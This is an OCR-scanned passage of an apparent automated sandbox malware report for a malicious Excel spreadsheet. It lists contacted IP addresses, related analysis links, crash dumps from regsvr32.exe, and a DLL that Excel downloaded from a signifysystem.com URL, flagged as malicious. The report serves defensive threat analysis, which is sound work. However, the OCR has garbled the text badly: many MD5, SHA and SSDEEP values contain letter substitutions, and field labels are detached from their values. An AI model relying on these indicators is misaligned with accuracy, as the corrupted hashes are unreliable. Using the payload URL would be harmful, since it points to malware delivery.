4.112

162.144.13.239

108.167.18
0.164

108.167.18
0.164

108.179.232.90

162.241.19
0.216

108.179.232.90

192.185.11
5.105

162.241.19
0.216

192.185.22
6.148

192.185.161.67

Context

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58

192.185.32.232
192.185.39.58
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https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid
https://view.joesandbox.com/analysis/320397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320397/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320399/html/none?idtype=webid
https://view.joesandbox.com/analysis/320397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320397/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320698/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320698/html/none?idtype=webid
https://view.joesandbox.com/analysis/320697/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320697/html/none?idtype=webid
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320442/html/none?idtype=webid
https://view.joesandbox.com/analysis/320364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320364/html/none?idtype=webid
https://view.joesandbox.com/analysis/320333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320333/html/none?idtype=webid
https://view.joesandbox.com/analysis/320244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320244/html/none?idtype=webid
https://view.joesandbox.com/analysis/320238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320238/html/none?idtype=webid
https://view.joesandbox.com/analysis/320226/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320226/html/none?idtype=webid
https://view.joesandbox.com/analysis/320041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320041/html/none?idtype=webid
https://view.joesandbox.com/analysis/319910/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319910/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Get hash malicious Browse e 192.185.32.232
e 192.185.39.58

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_regsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51 0f165c5fIRe

port.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

11464

3.774649044476038

false
192:czcHHb6V6ERIH/RS5uGXX3RjetB/u7svS2741tUz:ucH76VS6/RS5n3jez/u7svX4ltUz
39C8BF52118F2DF4E1400A3D41DE5SA51
E62C4BC8AF8BBFCE9E049E142A203B9C4199E3BB
B515576750DBBICFE3CC594AEEE3644FE7D1FB8COBFCC8C11C7BOA592EFOAICS
699D4D43B3C0522510575F4426C6C6E664E657FAB82505CC9661A8F90B537B5741ACID5057FE30B14F8CE3D33646C1A959E46196B4778575AC87165164188812

false

.V.ersion=1...EventTyp.e=APP.CRASH..EventTim.e=1326529.278.0.293.9.3.0.1..Rep.ortTy.p.e=2..Co.ns.ent=1..Rep.o.rtld
e.ntifier=.c.eb.d7.c5d.-3.d.cb5.-4.8.7.c-9.4.cf-8517e7.16.9.8.26....ntegratorR.eportldentifier=0.8fe4b.75.-9.278.-4945.-83a7.-e.7.
0.0.a.3.6.2.a2.6.2.4....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=.3.3.2....N.s.Ap.p.N.am.e=r.e.g.s.v.r3.2.exe...OriginalFilename=REG.S.
V.R.3.2..E.X.E....A.p.p.S.e.s.5.i.0.n.G.u.i.d.=.0.0.0.0.1.4.0.c.-.0.0.0.0.-.0.0.1.b.-.b.f.1.7.-.2.8.8.d.2.2.4.7.d.7.0.1....T.a.r.g.e.t. A.p.p...d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.
7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0...0.0.0.0.8.8.6.3.0.f.6.0.€.7.3.4.5.4.6.7.0.a.7.d.9.0.6.4.c.9.8.0.4.7.9.8.d.1.d.e.8.8.7.2..r.e.g.s.v.r.3.2..ex.e...T.arg.
e.tAp.p.V.er=19.7.1.//04./0.9.:17.:28.:23.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_regsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51 169b688f\Re

port.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

11468

3.7748207749167326

false
192:65zctb6VrRIH/RS5uGXx3RjetB/u7s+S2741tUA:6tcZ6VI6/RS5n3jez/u7s+X4ItUA
5847C220BB3FCE86D70761833080B730
A4163C896DOE0757CCD535BAEBC12A2B86997D0D
D119B196266808913C896B2907FDFA19DDOB6BC191AEE69869A28F61CDB3346A
C29C5FE40E0C9135D04057D9D6EA232F05BDCD5A38C1D149EB4E74DF305127B0C70E73B2F5FA143A51F7C770C7D7BB2E1653A0A537F894F54F15A7FD3E9F91!

false

.V.ersio.n=1...EventTyp.e=APP.CRASH..EventTim.e=1326529.284.804.3.6.880...Re.p.ortTy.p.e=2..Co.ns.ent=1..Re.p.o.rtld
e.ntifier=16.c.6.0.fb.6.-f2.9.a-4.0.a.a-.a.a.9.e.-7.8.0.c9.c9.6.e.79.1...I.ntegratorR.eportlden.tifier=cbf4.0.a54.-aac.f-4.cb.d-b.d1l6.-3.0
b.4.0.6.2.7.d.5.f.0....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=3.3.2....N.s.App.p.N.am.e.=re.g.s.v.r.3.2.exe...Orig.inalF.ilename=RE.G.S.
V.R.3.2..EX.E....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.2.a.c.-.0.0.0.0.-.0.0.1.b.-.1.8.5.9.-.6.d.b.4.2.2.4.7.d.7.0.1..... T.a.r.g.e.t A.p.p..d.=W.:.0.0.0.0.f£.5.1.9.f.e.e.c.4.

.T.argetAp.pV.er=1971//04,//09..17.:.28..2.3.
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https://view.joesandbox.com/analysis/319807/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319807/html/none?idtype=webid
https://view.joesandbox.com/analysis/319805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319805/html/none?idtype=webid
https://view.joesandbox.com/analysis/319708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319708/html/none?idtype=webid
https://view.joesandbox.com/analysis/319706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319706/html/none?idtype=webid
https://view.joesandbox.com/analysis/319637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319637/html/none?idtype=webid
https://view.joesandbox.com/analysis/319625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319625/html/none?idtype=webid
https://view.joesandbox.com/analysis/319621/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319621/html/none?idtype=webid
https://view.joesandbox.com/analysis/319593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/319593/html/none?idtype=webid

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CBF.tmp.dmp

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 14 streams, Wed May 12 11:33:02 2021, 0x1205a4 type

Category: dropped

Size (bytes): 35442

Entropy (8bit): 2.5239486387082346

Encrypted: false

SSDEEP: 192:W4JnLfisbhC1OUVMI8P2tWD7ReNW+N8HLOgIhLMEZmcv8hn39:pfisbkAAD7UHGJIhLMdci39

MDS5: DC850D1425AC809E1ACD975F4BAB694C

SHA1L: B04B235D0D07FDC2E44307B53D9080695B62B3D7

SHA-256: BC6A8571B9AF3ECAEA069A8857280EC7BBB549A0ABF843E347EA048048BD98B3

SHA-512: F6BE9D6FD0B2422411A895BBFF14A1A32710D2FAA86COB4FCB2C255B008964BA1D4397240ACB942F8F95CD87E131707D6DOABE93B2A8FB7F27564FC30789EF4
1

Malicious: false

Preview:
MDMP....... ........ e Ui, B Genuinelntelw........... T e @. 1) W... .E.ur.o.p.e. .Standard. . Tim.e. ...

W... .E.ur.o.p.e. .D.ay.lig.ht .T.im.e. 1.7.1.3.4..1..x.8.6.fre..rs.4._releas.e..180.4.1.0.-.18.04

.................................................................................................. d.b.g.c.0.1.e...1.3.8.6.,.1.0...0... 1.7.1.3.4 ... Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WER54FD.tmp.WERInternalMetadata.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 8250

Entropy (8bit): 3.692711693602928

Encrypted: false

SSDEEP: 192:Rrl7r3GLNiiY6t6YEVSUIEgmMfIdpSN+pBB89bHAsfrtm:RrisNi96t6 Y ESUmgmfldpSIHTIM

MD5: D163A65497BABEB6406341C11EE4B63D

SHA1L: 1FA2D678B7948135F4C862A33F4E3D92C92804D2

SHA-256: 6F698E4440A6FBFB5847F7FD12D5311C6F379307F5B4313D492F9208DA172FB2

SHA-512: DCE1EE06BD8C5BEAD0865CB4F08E2684E23BC1AD8C574A058D32165FDAD54AES21F5F6262780D57F695CBC24666C9666CF6F92033130EEC17D1EEC6AB3798E
C1

Malicious: false

Preview:
.<?x.ml .vers.ionz="1.0." enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..nd.

o.w.s.N.T.V.e.r.s.i.0.n.>.1.0...0.<./W..n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(.0x3.0.)... . Win.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.itio.n>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._re.leas.e..1804.1.0.-18.0.4.

</.B.uild.S.tring>.....<R.ewv.ision>1l</R.ewv.is.ion>.....<Flav.or>Multipro.c.ess.o.r. Free</Flav.o.r>....<Ar.chitecture>X6.4.</.
Arch.itecture>.....<LClD.>1.0.3.3</LC.lD>....</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>513.2</P..
d>.....

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5565.tmp.dmp

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 14 streams, Wed May 12 11:34:10 2021, 0x1205a4 type

Category: dropped

Size (bytes): 42306

Entropy (8bit): 2.3453773527449613

Encrypted: false

SSDEEP: 192:1A5m/ZivMeOugvCm+CFPutUdCvQKkmXMsWOwP2f19fkELXMCnsG:ILQyx5sUgvQ4IA292EbsG

MD5: 7398A2F851BD34E393B519BF1E875277

SHA1L: 5115EAD153C056703D6FC041D332D856FF3CAB2B

SHA-256: CCC5B089CBE993673B437BICEESBE4E4BCF8999F74F84A77ECE9EC01813517A5

SHA-512: D98FF340312BD064002C9C54F5ACE140647411D0A72825D17B9DOD3DA8A54B4B281C3BBICFF6633DFE13EB3C7D44DF58C4467B7EF368DA24830C05F3672BCE
E

Malicious: false

Preview:

................................................................................................... d.b.9.c.0.r.e...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lot

C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators
Category: dropped

Size (bytes): 4621

Entropy (8bit):  4.449817238256939
Encrypted: false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER58B7.tmp.xml

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

48:cviwSD8zsyJgtWI9fvWSC8Bm8fm8M4JIkMGEF8wy+q8sSdMKJYbgd:ulTfAk+SNVJIYNqYbgd
AOF1A7247BFACOC9B73858DC79665D7E
19301FF2E82290A794A2469DEBO78EC2C4FF2AAD
AB8B9192922BEC62DEF51699075A59623E048621259670145027438E468A2D755

BC3B7755771F262EADA33BAB6A9589568752ABAC59B5D6FD5EB1929E7DEEEBY931CCO8ES57AGFFF1DB3D05E750732261E63652B7400D4AE5074C6DFAD13ADAL
9A

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>.. <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="986203" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER611E.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8258

3.690894055322852

false
192:Rrl7r3GLNic+6I0EUe6YgMSURgmM{JIdpSN+pBB89bKesthdmOm:RrisNi1610W6YRSURgm{JIdpSIKdfhOm
9AEBAB314B2BD9AF417BC87D58172805

5B4DE827B9E4EB11B844A1C938674B4C3DCBDF7D
BAF40699EC1503DC290CDCBC12CBC16E79BF643F16901820BD3391A0B62FDBC6

C3D8CC098D9B61ADFED8IESBOF9CA41C236741B7449581288E6F2099C724B26CDEGB2EBE3E7D15B231D4E1B4A343FBA0729E8C4A050380E8883A66F348D630F
C

false

.<?x.m.l .vers.ionz="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>....<W..nd.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W..n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0.)... . Win.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.itio.n>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._re.leas.e..18.04.10.-18.0.4.
<./.B.u.ild.S.trin.g.> .<.R.ew.is.ion>1l</Rewvision>....<Flavor>Multipro.cess.or Free</Flav.or>....<Architecture>X6.4.</
Ar.ch.itecture>.....<LClD.>1.0.3.3</LC.lD>....</0.SV.ers.io.n.lnformatio.n>...<Pro.c.ess.lnformation>....<P.i.d>478.0.</P..
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER640D.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4621

4.450060334493844

false
48:cviwSD8zszJgtWI9fvWSC8BP8fm8M4JKMGEF/Q+q8sSdUKJY5gd:ul TINk+SNGJAZqY5gd
BA42F4ED21FCF20EA61DE53019AFF2E6
5F31D906B4D7898680740E47012E551444C41329
E8909D4B3BCEF7BB6D8526B105E79A8BC69CFF24755013DAA5091CB5A24CB7BF
820EEABF7A4172B5A0D469F7D5C38FF6F77AC283469EC5D294432C78BD50FC22860F2FB97D8E3AOEB24C3B57259FF39BB8D8F7E1313E44415EF781696638ED1:

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>.. <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="986204" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\luser\AppData\Local\Microsoft\Officel16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\9B0D8C85-82C2-4C91-AEDC-B9459681EEEA

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE

XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
dropped

134558

5.36837155136519

false
1536:1cQIKNEHBXA3gBwWIpQIDQW+zhh34ZIdpKWXboOilX5ErLWME9:VEQIDQW+zPXO08
421B3B97C4DDOFB55E325A1D2AEODOCS
52C5DC8226280C0F3A5E9A7005B20768E0CF4250
44A5C380DB28AF6E10E6037428D4E955FD1324511F0E03656134371F86DCIDDB
EF9CCB8A5F9CO9FF5C23FEE36F40DBES6241ACC2E90CFEDI934A04D775281EFBF61133E62C7E805777964C634219A7758A2F190B63CD3772962BCBF6B08A40ED(
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C:\Users\user\AppData\Local\Microsoft\Officel16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\9B0D8C85-82C2-4C91-AEDC-B9459681EEEA

Malicious:

Preview:

false

<?xml version="1.0" encoding="utf-8"?>..<0:0fficeConfig xmlIns:0="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-05-12T11:32:25">..
Build: 16.0.14108.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:u
rI>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://015.officeredir.microsoft.com/r</o:url>..
</o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://015.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpld">..
<o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="CIViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>..
</o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
downloaded
395500
6.001802978220178
false
3072:AJh65mtNNZQJjumcc/9zZppSFR1qY2/N33i7eVZ5qP3Ca6xzDthbrathOPIk:AJBNNcjuQ/9zoaV3EeVHqg/Ca6Vbrdg
79E922F1BC80F1C6D9F7273DD2CC67A7
31502F7EFDE63CD3FAE8C1258458CC9070A51749
25C075C6919DFB86DF81D3E868D1420D88522746ACA34946E864145AD588E5E0
3116A44D4287F3F585FEFB5D527460D33F0E724879129F6AF2822BD4B8170D7593982AB21575179E3B1480A286A0135BEB2BF7B2F6589E26C21D468BF97919A0
true

e Antivirus: Joe Sandbox ML, Detection: 100%

hitp://https://signifysystem.com/ceg7AX7oNOo/ue.html

1..L.IThis program cannot be run in DOS mode....$
............ 0

J..r.ol.ol.ol.|l..0!

C:\Users\user\AppData\Local\Temp\E0C40000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE

data

dropped

81548

7.910222120901931

false
1536:sjYO+nffSDcn9iZtJIOXAQR2KtCbuMB/yDL4kymYBOOy7zBr4ZLIDt:g+nHSD8YZo/Uh0ZymYQOy7FALSt
3FAF6C9EC3CA97F2FDBB16AAF7F21538

6EE949BBC6EEAA09970FA0F0712DC63B3ED3351E
69824A86AA6A1EB06A3B6820C01045130690515875A7E23B4E3C5FE73C7C96A2

26D9E11FF580999CE2D40C4FED2477BD50A003B26E55BF0440C9CD45F867DD91BEEO9F04663761FB4581B4DC6566BCEDIFE02351A6A447BEGC53D6EA946B7D
0

false

UN#LL#2 |u;p..Quf. |.cW..x.@......ek....R....jaM...w-;0F..". .k
p.'Mm..<....0...B.R...RX;........Q+..DL..RZ|a......f?l..b....).5V....
'/7.CB...4y......PK [Content_Types].xml ...(

1.9

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent|9659e9a8 by Libranalysis.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:53 2020, mtime=Wed May 12 10:32:29 2021,
atime=Wed May 12 10:32:29 2021, length=177152, window=hide

dropped

2250

4.705815148671922

false
48:81zi0E0q2VOEEwWcNaOEXxB6plzi0Eoq2VOEEwWcNaOExB6:82i0lgeFyNaFxK2i0lgeFyNaFx
6FA30B3E904D62A12E94BEE14F7A29A1
66A94FD22924AE600B07172BCD57AAB6E967E6BE
4B48DAC6FC7E4A305D4FDC86A3D220DC564E7F21E9B34D71C1CBAGIDIS6CA4BO

B584A61F1ECFFE4D7BD8FFF85DD87790494A37B1069E1106C744383F832AEFCF944DD05072A9D8DC682D04C54A47A169BC318A91BEES4F14D4AACEL139DEDOE
F3

false
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent|9659e9a8 by Libranalysis.LNK

Preview:

| EETTTOPRRN Fo.. .. 0.5 G G P.O. i.....#00.../C: N x.1.....N...Users.d....L..R\......ccoetUss.ers..@.s.h.e.l.1.3.2...d.LI.,.-

.2.1.8.1.3.....P.1...>Q|<..user.<....... N...R.\ ..PDK.j.o.n.e.s....~.1....>Q}<..Desktop.h....... N..R\.LY. .d."D.e.skto.p..@.s.h.ell3.2..dlLl,.-2.
1.7.6.9....... R.\ .9659E9~1.XLS. S>Q{<.R.\. .9.6.5.9.e.9.a.8._.by._.Libran.alys.is.xls
\user\Desktop\9659e9a8_by_ Libranalysis.xls..3.. D.ess.kt.0.p.\9.6.5.9.e.9.a.8._.b.y._.L.ibran.alys.is..xls.
...... 1a..%.H.VZA...L.............]a. % HVZA].. L.........c.ccoeee........ 1SPS.XF.L8C....& M q............[...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 17:12:41 2019, mtime=Wed May 12
10:32:29 2021, atime=Wed May 12 10:32:29 2021, length=8192, window=hide

dropped

904

4.669574121320632

false

12:8d1XUSduCH2KO0E4isQ9J+WrjAZ/DYbDORSeuSeL44t2Y +xIBjKZm:8dBi0+P9vAZbcD037aB6m

B25CFCF82131C1477BE254A8197AC4D7

C9F9DD0B2A241654D3CABF53181C9104F72A4F33

BA2619BEC415B0F8436042E36185BFCDABA399E1ED772FDE3EFFE088561031B9
9154445B77F891BF81113FEB819F84040B5C60FF1COAEC44E6BSAE33A1CBEY45E81EE452666C022E2FC134CFFE8D2BICFI0835C66C56CF4C615DD6D1014FESS

false

....... x.1......N....Users.d.....L..R.\.. i.Us.ers.@.s.hell3.2.dll,.-

Xl.D.e.s.k.t.o.p..@.s.h.ell3.2..d.LL,.-.

.2.1.8.1.3.. >Ql<.user<....N..R\..#J. . .R.\..Desktop.h......N..R.\.....Y.
2.1.7.6.9....... | SRR L Do >.S......C:\\Users\user\Desktop........ \.. .\ \D.eskto.p.........LB)..As. X 376483........... la..%.H.VZA|..m<.....
.......... 1a..%.H.VZA]..m<. ...1SPS.XF.L8C....&m.g............]...S.~.1.-.5.-2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9

...1SPS.mD..pH.H@.. K*.@.A.7TsF]...........

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

